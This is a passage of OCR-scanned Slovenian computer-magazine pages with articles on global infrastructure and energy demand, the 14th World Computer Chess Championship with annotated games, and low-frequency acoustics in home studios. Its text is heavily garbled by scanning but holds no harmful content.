Evropske unije pa 16,8 %.

Do leta 2030 bo za nalobe v sek-
tor energetike potrebno blizu 17 tri-
lijonov dolarjev, od tega polovica v
nerazvitih drfavah. Energetske kapa-
citete Kitajske se bodo do leta 2020
podvojile, od tega polovica v obliki
termoelektrarn na premog. V Pekin-
gu nadrtujejo povetanje proizvodnje
energije iz obnovljivih virov s seda-
njih 7 % na 15 % do leta 2020. Pov-
prafevanje po infrastrukturi za vodo
in odpadne vode bo v naslednjih
20 letih prav tako izjemno naraslo.
Okoli 2,4 milijarde ljudi danes Zivi
na obmot&jih z nezadostnimi siste-
mi za odstranjevanje odpadne vode, blizu 1,2
milijarde pa nima dostopa do ¢iste pitne vode.
Svetovna banka sodi, da bo za regitev tega pro-
blema potrebno 600 milijard dolarjev v na-
slednjih desetih letih. Istocasno je potrebno
tudi prenavljanje Ze obstojecih infrastruktur v
industrijskih drfavah. Svicarsko analitsko pod-
jetje Sustainable Asset Management ocenjuje,
da bo v ZDA potrebno 450 milijard dolarjev
za prenavljanje infrastruktur v naslednjih 20

sistem za osvetljevanje

sistem zvoénikov
o0oo00000000

veliki ekrani

/ i \
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: ?Q Rt

>
| —
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kontrola pristopa
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\oskrbovanje z energijo
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Nezadrzno povecevanje mest: Rast mestnega prebivalstva
je najvecja v Afriki in Aziji, najmanjsa pa v Evropi.

IzboljSanje kakovosti zivljenja v Bangkoku: Nadzemni
vlak Skytrain skupaj z metrojem zagotavlja varnejsi
in cistejsi javni prevoz kot nekdanje motorne rikse.

letih. Velikanski izziv je tudi prometna infra-
struktura. Zahodna Evropa ima 170 predmest-
nih in 35 podzemskih sistemov. Mednarodna
unija za javni promet (UITP) pricakuje, da se
bosta Stevilki povecali za 50 % do leta 2025.
V vecini sedanjih podzemskih sistemov bodo
zamenjali vlake in signalno opremo ter presli
na avtomatske sisteme brez voznikov. Mnoga
azijska mesta, z izjemo Japonske, nimajo zado-
voljivega prometnega sistema.

daljinske rezervacije vstopnic

avtomatizacija objekta

hisna zabaya |
internetna TV /

igre na mobilnikih

upravljanje prometa |
ks tflrmaﬂlta

alarm proti udorom

\\
\

Pod Zarometi sveta: Shema dvorane Allianz Arena v Miinchnu, v kateri so namescene
Stevilne tehnologije podjetja Siemens, od sistema osvetljevanja prek nadzora dostopa do

varnostnega sistema.
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PovpraSevanje po energiji

en::griaieb?f [ W drzave v razvoju
mrd. kwh | | W industrijske drzave (OECD),
. vzhodna Evropa 80
30.0004 g globalno +1,2%IL - ®
prebivalstvo '
25,000 (v miliiardah) /
20,0004 +1,6%/L B, it
15.000 7 +6:6%/L,
10.0004 15% 60%
5.000
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Kako zagotoviti vse vec energije: Rast
porabe energije je v razvitih drzavah
skladna z rastjo prebivalstva, v nerazvitih
drzavah pa je Se hitrejsa, ker je sedanja
razmeroma nizka.

SODOBNE RESITVE

Svetovalno podjetje SCI Verkehr sodi, da se
bo letna vrednost del na sistemih podzemskih
vlakov v kratkem povetala s 430 milijonov do-
larjev na milijardo. Kaj pomeni Siritev podzem-
skega prometa za okolje, si lahko predstavimo, ¢e
vemo, da avtomobilisti v ZDA samo za ¢akanje
v prometnih zastojih porabijo tri in pol milijar-
de ur. Za medmestni promet bodo postajali vse
pomembne;jsi hitri vlaki, zlasti v Aziji. Kitajska
Yelezniska podjetja so %e narodila 200 taksnih
vlakov, ki bodo vpeljani v promet do leta 2009.
Na Japonskem bo druga generacija hitrih vlakov
Sinkansen zamenjala dosedanje modele. V Ev-
ropi bo mre?a hitrih vlakov narasla z 2500 km

konec devetdesetih let na ve& kot 9000 km v
letu 2015. Podjetje SCI napoveduje, da bo v letu
2010 trg hitrih vlakov vreden 3 milijarde dolar-
jev. Po oceni analitskega podjetja Frost & Sul-
livan lahko pri¢akujemo tudi hitro Sirjenje trga
inteligentnih vlakovnih tehnologij, ki vklju¢uje
transportne sisteme, elektroniko, tipala, ratunal-
nike in komunikacijske sisteme. F&S je namrec
napovedal, da se bo letna vrednost trga tovrstne
opreme s sedanjih 1,1 milijarde dolarjev pove&a-
la na 1,6 milijarde v letu 2011.

Zahteve po naprednih infrastrukturah so pose-

razsoljevanje vode Shuwejhat v Abu Dabiju

9%

Najvecja ntovarna« za proizvodnjo elektri¢ne energije in

Potovanje v Sanghaj 2020

Stari Jun Jang se je po upokojitvi v letu 2020 odlogil na potovanje svojega 2|vljenja s hitrim
vlakom Transrapid s severa Kitajske do Sanghaja dale¢ na jugovzhodu. V Sanghaju Zivi njegov
vnuk, ki mu pogosto poSilja e-sporocila, v katerih mu opisuje tudi tehnoloska ¢udesa najraz-
vitejSega kitajskega megamesta z okoli 13 milijonov prebivalcev. Jun se je na koncu odlodil,
da obiS¢e vnuka in tudi osebno vidi »letee« viake, podzemno Zeleznico brez voznikov, nekdaj
megleno reko, pretvorjeno v kristalno Cisto vodo, in hotele brez vidnega osebja, Ko je prispel na
hitri vlak, s katerim bo potoval ve¢ ur do mesta Hangzhou, je na svojem prenosnem racunalniku,
Sirokopasovno povezanem v medomrezje, zeni napisal e-sporocilo. Opisal ji je, kako je s starim
kolesom prisel do 10 km oddaljene Zelezniske postaje v najbliziem mestu, iz katerega je potem
potoval nekaj ur s starejSim vlakom do drugega mesta in se vkrcal na hitri vlak. Naslednjic je
Zeni poslal le kratko sporo€ilo s hitrega vlaka Transrapid v obliki pus€ice, ki ima namesto koles
magnetne blazine. Ni bilo veliko Casa za pisanje, saj vlak potuje z bliskovito hitrostjo — za 160
km do Sanghaja potrebuje le 20 minut. Poskusil Je gledati skozi okno, a to je bilo prevec vrto-
glavo in videl je le daljnovode, avtoceste in manjSa mesta. Na zaslonu pred sabo je na zemlje-
vidu opazoval hitro gibanje vlaka. Potnik v blizini mu je pojasnil, da so orjaski daljnovodi, poleg
katerih drvijo, sposobni prenasati energijo do 1000 kilometrov dale¢ brez izgub. Potnik je imel
novejsi prenosnik s polprozornim zaslonom in z gorivno celico, ki mu je omogocala celotedensko
delo brez polnjenja. Naslednje sporocilo je Jun napisal Zeni iz Sanghaja, mesta polnega stekla
in jekla, dvakrat vecCjega kot v Casih, ko je bil v njem prvic, in veliko visjega. Napisal ji je, da je
vecina avtomobilov v mestu hibridnih, na bencin in elektriko, nekateri pa so na vodik. Promet
urejajo samodejni telematski sistemi. Vecina ljudi pa potuje s podzemskimi vlaki brez voznikov
znotraj ogromne mestne mreze. Priznal ji je, da je pobegnil iz hotelske sobe in poiskal pomo€ pri
receptorju. Vrata sobe so se namre¢ odprla sama, tudi Iuci se vkljucile same, skozi okna pa je
videl morske pse. Ko se je umiril, je Sel v kopalnico, a v ogledalu se je naenkrat pojavil v &rno ob-
le¢en moski in mu zacel sporocati novice. Nazaj v sobo je priSel v spremstvu receptorja, ki se je
smejal z razumevanjem. Pokazal mu je, da so morski psi in v érno obleceni moski le samodejno
aktivirane slike na vecfunkcijskih zaslonih, pa tudi vse drugo so avtomatski sistemi. »Opozoril
me je tudi, da se bo kmalu aktiviral robotski sesalnik, ki bi me zagotovo ustrasil,« je napisal na
koncu in ji obIjubiI da bo naslednji dan poiskal podoben sesalnik in ji ga prinesel v vasico da

viv v

bej velike na podrogju energetike. Pricakovana
rast porabe za pribliZno 50 odstotkov do leta 2030
poveluje potrebe po visoko u¢inkovitih elektrar-
nah z nizkim oddajanjem in poceni proizvodnjo.
V Irschingu v Nemdiji, na primer, gradijo elek-
trarno z ucinkovitostjo 60 odstotkov, za 1,6 %
vec kot v katerikoli drugi elektrarni v svetu.. V
Auvstraliji Ze deluje sistem, v katerem se elektri¢na
energija iz hidroelektrarne na otoku Tasmanija s
podvodnimi kabli skoraj
brez izgub prenasa na 290
km oddaljeno kopno Av-
stralije. V. Abu Dabiju od
leta 2004 deluje elektrarna
z mo&jo 1500 megavatov,
kombinirana s sistemom za
razsoljevanje morske vode,
ki proizvaja 450 tiso¢ ku-
bi¢nih metrov dragocene
vode dnevno, kar je dovolj
za oskrbo velikega mesta.
Oskrba z vodo je problem
tudi v Singapurju, v kate-
rem podzemni viri in de¥evnica zadovoljujejo le
polovico potreb. Da bi zmanjsali uvoz vode so se
odloili za gradnjo tovarne za obdelavo odpadne
vode z membranskimi filtri in UV-dezinfekcijo.

Prenos energije
z otoka na
celino: Tiristorji
za energetsko

povezovanja
Tasmanije z Avstralijo  [EMEL] NAPREDKA
in prenos 600 Danes tako pridobivajo okoli 40 tiso¢ ku-

bi¢nih metrov pitne vode dnevno, v letu 2012
pa bodo z recikliranjem pridobivali 210 tiso&

megavatov energije
na razdalji 290 km
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Vse vedji deleZ megamest v bruto druzbenem proizvodu
Vir: World Urbanization Prospects (2003)

Prebivalstvo (v milijonih)
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Najhitrej$i vlak na
svetu bo za vo¥njo na

650 km dolgi relaciji
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Selitev v megamesta: S povecevanjem stevila prebivalcev raste tudi

bruto druzbeni proizvod

V letu 2005 so svet prizadele Stevilne na-
ravne nesreCe — tsunami v Aziji ( ta je bil
v decembru 2004, a vse glavne akcije od-
pravljanja neposrednih posledic so se odvi-
jale v 2005), potres v Pakistanu in orkan v
ZDA. Po oceni Rdecega kriza so nesrece pri-
zadele 145 milijonov ljudi, milijone pustile
brez strehe nad glavo ter unicile ali moéno
poskodovale celotne infrastrukture. Kljub so-
lidarnosti in neposredni pomoci za prizadete
ostajajo, zlasti v nerazvitih drzavah, dolgo-
trajne posledice, ki jih bodo lokalne skupno-
sti odpravljale vec let. V prihodnosti bo treba
razviti sisteme stalne mednarodne pomoci
pri obnavljanju in izboljSevanju infrastruktur,
v katere bodo vklju€eni tudi veliki razvijalci
in graditelji infrastrukturnih resitev.

Visokotehnolo-
sSke resitve za
Singapur: Mest-
ne oblasti so
uvedle naprave
za pretvarjanje
odpadne vode
v Cisto vodo in
povsem avto-
matski sistem
placevanja
cestnin.

kubi¢nih metrov vode na dan, kar je okoli 20
odstotkov skupne porabe.

V Bangkoku je zlasti velike preglavice pov-
zro¢ala prometna mre¥a, ki je ena vitalnih
komponent mestne infrastrukture. Do poznih
devetdesetih let je bil Bangkok brez mnoZi¢ne-
ga tranzitnega sistema. Od leta 1999 deluje v
mestu vlakovni sistem Skytrain, ki prepelje 400
tiso€ ljudi dnevno. Dve leti zatem je so kon&ali
tudi metro. Letos bo zacela delovati tudi pove-
zava do letali§¢a, oddaljenega 28 km, do katere-
ga bodo potniki potrebovali le 15 minut. Letos
bo med Madridom in Barcelono zalel voziti
hitri vlak Velaro E hitrostjo 350 km na uro.

I ll 10 zadostnost  vodnih
0

- odgovorna za
blizu 80 odstotkov
vseh bolezni in tret-
jino smrti v neraz-
vitem svetu. Mnoga obmo¢ja imajo problem
tudi s povezavami v vire elektri¢ne energije in
telefonska omreZja, ki so pogoj tudi za razvoj
bolni¥nic in $ol. Danes se po svetu odvijajo Ste-
vilni, a $e vedno nezadostni programi gradnje

tovarn za obdelavo vode in solarnih sistemov
za pridobivanje energije, na primer v vasicah v
Gabonu in Vietnamu. V Nigeriji so od petde-
setih let prej¥njega stoletja zgradili 70 odstot-
kov potrebnih daljnovodov. V Keniji gradijo
omreZje opti¢nih vlaken, s katerim bodo kma-
lu pridobili irokopasovne povezave s svetom.
V delnih Juine Afrike poteka gradnja novih
centrov za zdravstveno oskrbo, kot je bolni¥ni-
ca Inkosi Albert Luthuli v mestu Durba, ki je
opremljena z najnovejSo medicinsko opremo.
Bolni¥nica je dobila tudi sistem za brezpapirno
delo, ker se vsi podatki hranijo v elektronski
obliki. To so samo nekateri dobri primeri grad-
nje razli¢nih infrastruktur, ki so temelj eko-
nomskega in drubenega napredka, podobno
kot so bili v starem Rimu pred 2000 leti.

NA VOL)JO BREZ RECEPTA V VSEH LEKARNAH IN SPECIALIZIRANIH TRGOVINAH.
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racunalniki in Sah

Junior - petic svetovni prvak

Socasno s Sahovsko olimpiado, ki je prinesla
Sloveniji dva odmevna rezultata, je bilo

v Torinu, tudi 14. svetovno prvenstvo v
raCunalniskem Sahu.

PiSe: Vojko Mencinger
vojko.mencinger@mojmikrossi

14. WCCC

Letos se je zbralo 18 programerskih ekip s svojimi pro-
grami. Zanimivo je bilo, da so morali po petem krogu en
program (Lion++) izkljuciti s tunija. Prislo je namre¢
do pritozbe, da ima preved skupnega s programom Fru-
it. Po natancnem pregledu izvorne kode se je pokazalo,
da je temu res tako in ekipa je morala zapustiti tekmova-
nje. Prui¢ je nastopil tudi program Rybka, in sicer pod
eksperimentalnim imenom njenega avtorja — Rajlich.
Rajlich ngj bi to pot pome3al Strene Shredderju, Juniorju
in lanskoletmemu prvaku Zappi. Zato so se tinanj Se po-
sebej pripravili. O zmagovalcu ni odlocal le njihov »Cet-
veroboj«. Nekateri amaterski, nekomercialni programi
50 s tem, ko jim je uspelo remizirati s katerim od velike
Cetverice, mocno vplivali na vrstni red pri vrhu.

POTEK TEKMOVANJA

Ze v 3. krogu je bilo precej odlogeno o kong-
nem zmagovalcu. Shredderju je namre¢ uspelo
premagati Rajlicha.

Shredder — Rajlich

[C56 — Igra dveh skakacev]

l.e4 €5 2.Lc4 Sf6 3.d4 (Zanimiv prehod iz lov-
Zeve igre v igro dveh skakacev.) 3...ed4 4.Sf3 Sc6
5.e5 d5 6.Lb5 Se4 7.Sd4 Ld7 8.Lc6 be6 9.0-0 Lc5
10.£3 Sg5 11.f4 Se4 12.Le3 Lb6 13.8d2 c5 14.54f3
Sd2 15.Dd2 ¢6 16.c3 Tb8 (Nepotrebna poteza ob
dejstvu, da je &rni kralj $e vedno v centru. Logi¢no bi
bilo 16...0-0 17.Df2 c4 18.Ld4 Dc7 19.a4 Tab8 20.Sh4
6 21.a5 Ld4 22.cd4 fe5 23.de5 Tb5 in &mi stoji vsaj
enako, po oceni vedine programov pa celo malo bolje.)
17.Dc2 0-0 18.f5 Tb7 19.£6 gf6 20.Lh6 c4 21.Kh1
Lc5 (Na 21...Te8 bi sledilo presene&enje 22.5g5!! fg5
23.Tf1!! Kf7 24.Dh7 in mat v devetih potezah!!)
22.1L£8 Lf8 23.Tael Lc8
24.Df2 {5 25.8d4 (Zdaj
je prednost belega %e oit-
na.) 25...De8 26.Dh4 h6
27.Dh5 De7 28.Sc6 Dg5
29.De2 Lc5 30.Sd4 Th6
31.8f3 Dg4 32.Dd2 Le6
33.Tb1 Ld7 34.Sd4 Le7 v
35.Tbel Lg5 36.Df2 4 37 b4 Dh5 38. le Lc8
39.a4 Tb7 40.b5 Lg4 41.5f3 Le6 42.Tal Ld8 43.a5
Dg4 44.Dc5 Kh7 45.Dc6 Lc8 46.Dd5 Td7 47.Dc4
Lb7 48.Tadl La5 49.Td7 Dd7 50.Df4 Lf3 51.Tf3
Ke8 52.h4 De6 53.Dg3 1-0

Po tem sta nekaj ¢asa skupaj vodila Shredder
in Junior. Rajlich je imel tudi nekaj smole, saj je
z vsemi favoriti igral s &rnimi figurami. Proti Ju-
niorju je imel nekaj pobude, toda zgolj za remi.

Deep Junior - Rajlich [B48 - Sicilijanka]
l.e4 c5 2.5f3 e6 3.d4 cd4 4.Sd4 Sc6 5.Sc3
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Dc7 6.Le3 a6 7.Dd2 (Moderen pristop za igro proti
Pauelsenovi varianti. Zagovorniki takine postavit-
ve belega so Topalov, Anand, Leko — o&itno naj bi
bila dobra za belega.) 7...8f6 8.0-0-0 Lb4 9.f3
Se5 10.Sb3 b5 11.Kb1 Sc4 12.Lc4 bc4 13.Scl
Tb8 14.S1e2 0-0 15.Lf4 5 16.Lg5 Se8 17.Kal
d6 18.h4 Le6 19.a3 Da5 20.Dcl Th7 21.h5 h6
22.Ld2 Sc7 23.g4 Ttb8 24.g5 hg5 25.h6 Sb5
26.8b5 Ld2 27.Td2 Tb5
(Zdi se, kot da je &rni bolj-
§i, toda naslednji odgovor
belega pozicijo pripelje
do mirnega razpleta.)
28.Td5! {6 29.Td6 Tb2
30.Db2 Tb2 31.Kb2 Lf7
32.8¢c3 Dc7 33.Thdl
gh6 34.Tf6 h5 35.Tdd6 Kg7 36.Tb6 h4 37.8d5
¢3 38.Kal Dc4 39.Tb7 Df1 40.Ka2 Dc4 remi

Zappa, lanskoletni prvak, je bil sicer tako
kot Shredder in Junior neporaZen, toda kar 7
remijev v enajstih partijah je bilo preve&. V na-
slednji partiji bi lahko Zappa odlo¢il-

45.Kg2 Tc2 46.a4 Sf4 47.Kh1 Sh3 48.Tfl h5
49.gh5 Te2 50.Dd8 Kh7 51.Db6 Df4 52.Kg2
Dh4 53.Dc5 Sf4 54.Kg1 Sh3 55.Kg2 Sf4 remi
V fini$u je Juniorju uspelo dobiti zadnje tri
partije, medtem ko je Shredder izbral slabo ot-
voritev z outsiderjem, programom ParSOS, in
samo remiziral, kar ga je stalo prvega mesta.

JUNIOR — PETIC

Junior 9, program izraelskih avtorjev Amirja
Bana in Shaya Bushinskyja, je po letih 1997, 2001,
2002 in 2004 letos Ze peti¢ osvojil naslov sveto-
vnega prvaka med ra¢unalniskimi programi.

Zanimiv je pogled na stolpec z racunalnisko
opremo. Ker mora vsak udele?enec sam poskrbe-
ti za strojno opremo, je ta zelo raznolika. Vedina
najboljiih je uporabljala po dva dvojedrna pro-
cesorja AMD oz. Intel. Pri strojni opremi izsto-
pa Zappa. Program je tekel v superratunalniku
na univerzi v Illinoisu. Gre za ratunalnik SGI
Altix 3700 s kar 1024 procesorji Itanium 2 s

no pomesal $trene Juniorju. Imel je Mesto Ime Rating Racunalnik Tabele Tocke Buchholz
prednost &istega kmeta, a se je Juni- ROStamd konénic
orju z aktivno igro in ob slabi tehniki |1 |Junior 2800 |2x21Intel3GHz  |da |9 [70.5
Zappe uspelo resiti z ve&nim $ahom. 2 [Shredder [2810 |4x2AMD2,6GHz |da 85 |685
3 Rajlich 2820 |4x2AMD 24 GHz |ne 85 |62.5
Zappa — Deep Junior 4 Zappa 2830 |512x 1 Intel 1,6 GHz |ne 75 730
[E15 — Damina indijka] 5  |Spike 2760 [2x2AMD2,0GHz [da |65 |64.0
1.d4 Sf6 2.c4 €6 3.5f3 b6 4.g3 La6 |6 |DIEP 2680 [2x2AMD24GHz [da |65 |62.5
5.b3 Lb4 6.Ld2 Le7 7.Lg2 Lb7 (Glav- |/ Jonny 2650 |1x2AMD2,5GHz |da 6.5 |62.5
no nadaljevanje je danes 7..c6 8Lc3 |8 |Crafty 2700 |4x2AMD2AGHz |da 16 |730

d5 9.Se5 Sfd7 10.8d7 Sd7 11.8d2 0-0 |9 Ikarus 2660 |2x2AMD1,8GHz |da 6 [58.0
12.0-0 Tc8 13.e4 de4 14.bc4 b5 15Tel |10 |lsiChess 12500 |1x1AMD2,2GHz |ne 55 160.5
b4 16.Dc2 Te8 17.Tadl LfS s priblizno |11 [Defi4d6 2450 |1x1intel30GHz |ne 55 159.5
enako pozicijo.) 8.5¢3 0-0 9.0-0 (Beli |12 |Chiron 2400 |1x1AMD2,2GHz |ne 5 1595
lahko odigra na tem mestu v gambitnem |13 |ParSos 2620 |[1x1AMD2GHz  |ne 5 |535
slogu 9.d5, na kar mora &mi igrati zelo |14 |Uragano3d 2100 |1x1AMD2GHz  jne |35 |54.0
natanéno, in sicer 9...ed5! 10.5d4 Sc6! |15 |Chaturanga |1900 |1x1Intel3,2GHz |ne 25 |530
11.8d5 Sd4 12.Se7 De7 13.Lb7 Tae§ |16 |LON++15/26/70 ne |2 |585
14.€3 c6 in &mi stoji vsaj enako, enee |17 |FIBChess 12000 |1x1AMD2GHz  |ne 15 1550
malo bolje.) 9...8a6 10.Lc1 d5 11.Se5 |18  [ETABETA [1440 |1x1Intel30GHz [ne  [0.5 [56.0

c5 12.Lb2 Sc7 13.Tel Ld6 14.cd5

ed5 15.Sc4 Le7 16.dc5 Lc5 17.Sa4 Le7 18.Se3
Te8 19.5f5 Se6 (Konec knjiznice! Pozicija &rnega
ni ravno obetavna.) 20.Tc2 Dd7 21.Dd3 Tad8
22.Td1 h6 23.Tecl Kh8 24.h4 d4 25.Sd4 Lg2
26.Kg2 (Beli ima kmeta ve¢, kompenzacije &rnega
pa ni videti.) 26...Sd4 27.Ld4 Dg4 28.£3 Dh5
29.Dc2 Ld6 30.Lf2 Td7 31.Sb2 Tc7 32.Dd3
Tecl 33.Tcl La3 34.Tc2 Lb2 35.Tb2 De5 36.Td2
Kg8 37.e4 Tc8 38.¢4
(Nepotrebno  slablje-
nje kraljeve pozicije. Po
38.Dd4 in 39.e5 bi ¢mi
tezko zdrigl.) 38...Sh7
39.Da6 (Se ena ¢udna
poteza. Beli mora osvajati
prostor. Dobro bi bilo na .
primer 39.Tc2 Te8 40.Lg3 De7 41 Dd6 in prednost
belega raste iz poteze v potezo.) 39...Dc3 40.Td5
Sf8 41.Da7 Se6 42.Kg3 Sc7 43.Td1 Se6 44.Db6
De5 (Zdaj ima ¢mi %e dovolj kompenzacije. Tega
elementa Zappa o&itno Se ne pozna dovolj dobro.)

taktom 1,6 GHz. Superracunalnik je razdeljen
v dva dela in #al je Zappa lahko uporabljal »le«
512 procesorjev!?! Toda navkljub temu je ocena
strokovnjakov, da je ratunska mo¢ tega »zmaja«
na ravni nekdanjega IBM-ovega giganta Deep
Blue. Kljub temu pa Zappi ni uspelo dose&i vet
kot Cetrtega mesta, kar je svojevrsten neuspeh.
Kot zanimivost povejmo, da se je vecina
partij (61 od 94) zalela s prvo potezo 1.e4. To
pomeni, da avtorji knjiZnic dajejo prednost od-
prtim in polodprtim igram pred zaprtimi.

SKLEP

Navdusenci za ratunalniski $ah, ki programa
Junior $e nimajo, ga bodo zdaj zagotovo kupili.
Saj sem ga ¥e preizkusil, vendar ne podrobno.
Je izredno hiter pri izratunu variant, njegove
ocene pozicij pa $e zdale¢ niso tako dobre kot
tiste, ki jih daje program Rybka. Je pa res, da
vsak dober program prispeva nekaj k celoviti
podobi igre ra¢unalnigkih programov. B
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Tezave z nizkimi
zvocnimi frekvencami

Nizkofrekvencni registri zvoka povzrocajo eno najvecjih tezav pri kon¢nih
fazah glasbene produkcije, mesanju in masteringu.

Pise: Igor Mati¢ic
igor.maticic@mojmikrosi

\V4
e zlasti je ta problem postal ¥go¢ z za-
dnjo revolucijo glasbenih studiev, saj
se ti vse bolj selijo v nage domove. Tam
pa, kako absurdno, vecina ustvarjalcev
raje razmislja o »pomanjkljivih desetinkah
decibela svoje zvo&ne kartice«, namesto da
bi vsaj poskusili popraviti ve¢ kot 20 dB velik
primanjkljaj v akustiki svojega mini studia.

NAJPOGOSTEJSE TEZAVE

Najpogostejse nizkofrekvenéne teZave so se-
veda tiste,, kjer se %e pri obi¢ajnem poslusanju
posnetka sli§i, da dolo¢eni toni manjkajo (pa
bi o&itno sodili tja) ali pa so morda nekateri
basovski toni tako poudarjeni, da je zadeva
zelo moteca. Te napake ponavadi opazimo Sele
takrat, ko posnetek poslu§amo prek (od studia)
neodvisnega ozvo&enja v drugem okolju.

Za taksne in podobne tefave so seveda lahko
kriva uSesa neizkuSenega tonskega tehnika, ven-
dar se kaj hitro lahko zgodijo tudi prekaljenemu
mojstru in lastniku veliko obcutljivejsih uses,
&e akusti¢ne razmere za delo niso ustrezne.

ZAKA) PREVEC ALI PREMALO
ZVOKA

Da bi la¥je razumeli kje in zakaj se zvok
ojada ali izgublja, se je treba vrniti na osno-
ve fizike oziroma akustike. Ve&ina ljudi se Se
iz Sole spomni, da je zvok valovanje. Zvo¢no
valovanje visokih in srednjih frekvenc ni
toliko problemati¢no z vidika duSenja zvoka,
saj imajo ti zelo kratke valovne dol%ine in so
zlahka »obvladljivi« s poroznimi materiali,
kot so akusti¢na pena, zavese, steklena volna
in podobni materiali, ki jih redno sre¢ujemo
v manj$ih in domacih studiih. S temi namre&
prepre¢imo odbijanje zvoka od ravnih povrsin
(sten), kar bi sicer povzrogilo nerealno zvo¢no
sliko pri predvajanju zvo¢nih posnetkov.

Te enostavne in poceni re$itve pa pri niz-
kih registrih ne veljajo. Fizika seveda tudi tu
velja, vendar zaradi precej zajetne valovne
dolZine (npr. pri 100Hz je ta kar 3,4 m) z 10
cm akusti¢no peno ne bi storili skoraj ni¢ in
bi potrebovali velikokrat debelejso peno. S
tem bi precej izgubili na volumnu prostora, da
o strogkih niti ne govorimo. Za obvladovanje
nizkih frekvenc so tako ucinkovitejse komer-
cialne resitve v obliki membranskih dugilcev
ali kak$na kombinacija modernej$ih materia-
lov, kar pa je ponavadi Se vedno predrago za

domadega uporabnika.

Kako dejansko nastane izni&-
enje ali pretirano poudarjanje
dologenih tonov oz. frekvenc?
Predstavljajte si prazen prostor
oblike kvadra (po dve steni sta
vzporedni). Kadar razdalja med
dvema stenama sovpada z valov-
no dol¥ino zvoka (pri prej ome-
njenih 100 Hz je to 3,4 m), lahko
nastane prva tezava.

Na sliki 1 je primer, ko (dva-
kratna) valovna dolZina (rdeca)
to¢no sovpada z razdaljo med stenama. Odboj
od stene povzro¢i val (rumena) nasprotne faze,
kar lahko privede do iznienja prvotnega tona.
Seveda lahko s postavitvijo primernih (ved-
inoma dragih) materialov na steno to tefavo
drasti¢no zmanj$amo.

Slika 1: Po odbitju
od stene dobimo
poleg prvotnega
vala (rdeca) val, ki
ima nasprotno fazo
(rumena).

TeZava seveda nastane tudi pri polovici
omenjene dol¥ine (in drugih veckratnikih),
saj lahko privede do najrazli¢nejsih anomalij
zvoka, kot so stojede valovanje, resonan¢na
frekvenca, ojacenje, izni¢enje in podobno. Pri
vsem tem je seveda zelo pomembno tudi, v ka-
terem delu zvo&nega vala so sploh mojstrova
usesa.

PREIZKUS V DOMACEM STUDIU

Za boljde razumevanje tega problema vam
predlagam preprost preizkus z domadim racu-
nalnikom in zvo&niki. Z njimi si predvajajte
preprost sinusni ton zvoka (tisti s tefavami
zaradi razpona manj$ih zvo¢nikov poskusite z
nekaj Hz vi§jim tonom) in se pocasi sprehodite
po prostoru, v katerem ste ter pozorno poslu-
Sajte. Ugotovili boste, da obstajajo tako mesta
s povdarjenim, kot tudi tista z manj sli¥nim to-
nom. Z iskanjem sinusnega tona v obliki MP3
ali wav po svetovnem spletu najbr? ne boste
imeli te¥av, ¢e pa imate na voljo katerega iz-
med generatorjev sinusnih tonov (tega vsebuje
skoraj vsak zglednejsi zvo¢ni urejevalnik), pa
si lahko tudi ustvarite svoje sinusne tone, ki
so najprimerne;jsi za ugotavljanje zvo&nih ne-
pravilnosti vaSega prostora. Za izratun proble-
mati¢ne frekvence F (Hz) poznamo preprosto

Slika 2: Monitor JBL
LSR4328P s pripadajocim
merilnim mikrofonom za

analizo akustike

glasbena produkcija

formulo F=Nx170/D, kjer
je D razdalja v metrih, N
pa veckratnik (zacensi z
1). V nasem 100 Hz pri-
meru bodo tako te¥ave
najbolj slisne (oz. neslis-
ne!) v prostorih, ki imajo
mero 1,7 m, in pri drugih
veckratnikih.

SRECA V NESRECI

Ce pa si predstavljamo,
da je dol%ina zgolj ena di-
menzija prostora, pa kma-

lu ugotovimo, da je teh
zvoénih hrib&kov in
dolinic pravzaprav
za celo morje, saj
je treba upostevati Se
valovne dolZine po Sirini,
po visini, vse njihove ve¢-
kratnike, da drugih kom-
pleksnejsih tukaj niti ne
omenjam. Pa vendar je
vse to lahko tudi dobra novica, saj cel kup teh
ojadenj in odvzemanj pravzaprav razprsi celo-
tno zadevo po frekvenénem spektru in stvar
ni tako kriti¢na. Se zlasti to velja pri sobah,
kjer nobena dimenzija ni enaka (ali veckrat-
nik) drugi. Soba kvadratne ali celo kockaste
oblike bi namre¢ podvojila (oz. potrojila) pro-
bleme in bi zahtevala precej ve¢ obdelave z
akusti¢nega vidika.

POSTAVITEV ZVOCNIKOV

Dodaten dejavnik pri reprodukciji zvoka je
seveda postavitev zvo¢nikov. Predvsem je po-
membno, da zvo¢niki niso blizu sten ali celo
kotov, saj se potem te¥ave z nizkimi frekven-
cami samo 3e stopnjujejo. Nizke frekvence se
namre¢ reproducirajo v vseh 360 stopinjah,
medtem ko srednjetonci in visokotonci de-
lujejo predvsem v smeri postavitve zvocnika.
Tako ima velika vec¢ina aktivnih monitorskih
zvocnikov srednjega in tudi niZjega razreda Ze
vdelana krmila filtrov nizkih frekvenc za kom-
penzacijo pri postavitvi, ravno zaradi omenje-
nih tezav.

ANALIZATORJI AKUSTIKE

Po drugi strani pa danes obstajajo e zvoc-
niki, ki vsebujejo pravcate male analizatorje
akustike (z uporabo ratunalnika) in te podatke
potem upoStevajo pri umerjanju na dolocen
prostor. Velja omeniti, da je nekaj podobnega
v preprosti analogni obliki ¥e dolgo znano iz
razli¢nih poskusov prilagajanja frekven&nega
spektra zvo¢nikov prostoru s z grafi¢nimi izena-
Cevalniki, zaradi Cesar pa je bil velik del stroke
pogosto precej skepti¢en. Ta pripomocek na-
mred najveckrat uposteva zgolj frekvencni pa-
rameter, akustika pa je veliko kompleksnejse
podrogje ...
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Popolna zastita za vas rafunalnik: MOJ PRV DRUGI : Bl(?ll_'bc, DRZAVNA | JEZIKO. 1ZDAJA:
MIKRO DEL DEL ~ |GLASBENA| 610G |BLAGAJNA| SLOVEC
> S&iti racunalnik pled wvirusi, érvi in roatkit programi GESLA GESLA SKUPINA (KAZIMIR) (RASMUS) DELO REV|JE, d.d. o
> Vkljuguje zasgito pred vohunskim programiem v reclnem &asu Dunajska 5, 1509 Ljubljana
> Varje radunalnik pred hekerji www.delo-revije.si
» Pomago se vam rediti neZelene epoie DUHOVNIK DIREKTOR: Andrej Lesjak
» Za¥cili vade otioke pred nefelenimi interetnimi vsebinami | | | <
» Vkljuéuje funkcijo s éasovno omejitvijo brskanjo po internetu - UBEDNISWU: o
za ofoke A Dunajska 5, 1509 Ljubljana
> Vsebuje funkcionalnost za nadzor aplikacij NA tel.. (01) 473 82 61
» Omogota najhitrej$o zo3éito pri izbruhih novih virusov SVETU faks: (01) 473 8169, 4738109
s+ Vamostne novice I e-poSta: mojmikro@delo-revije.si
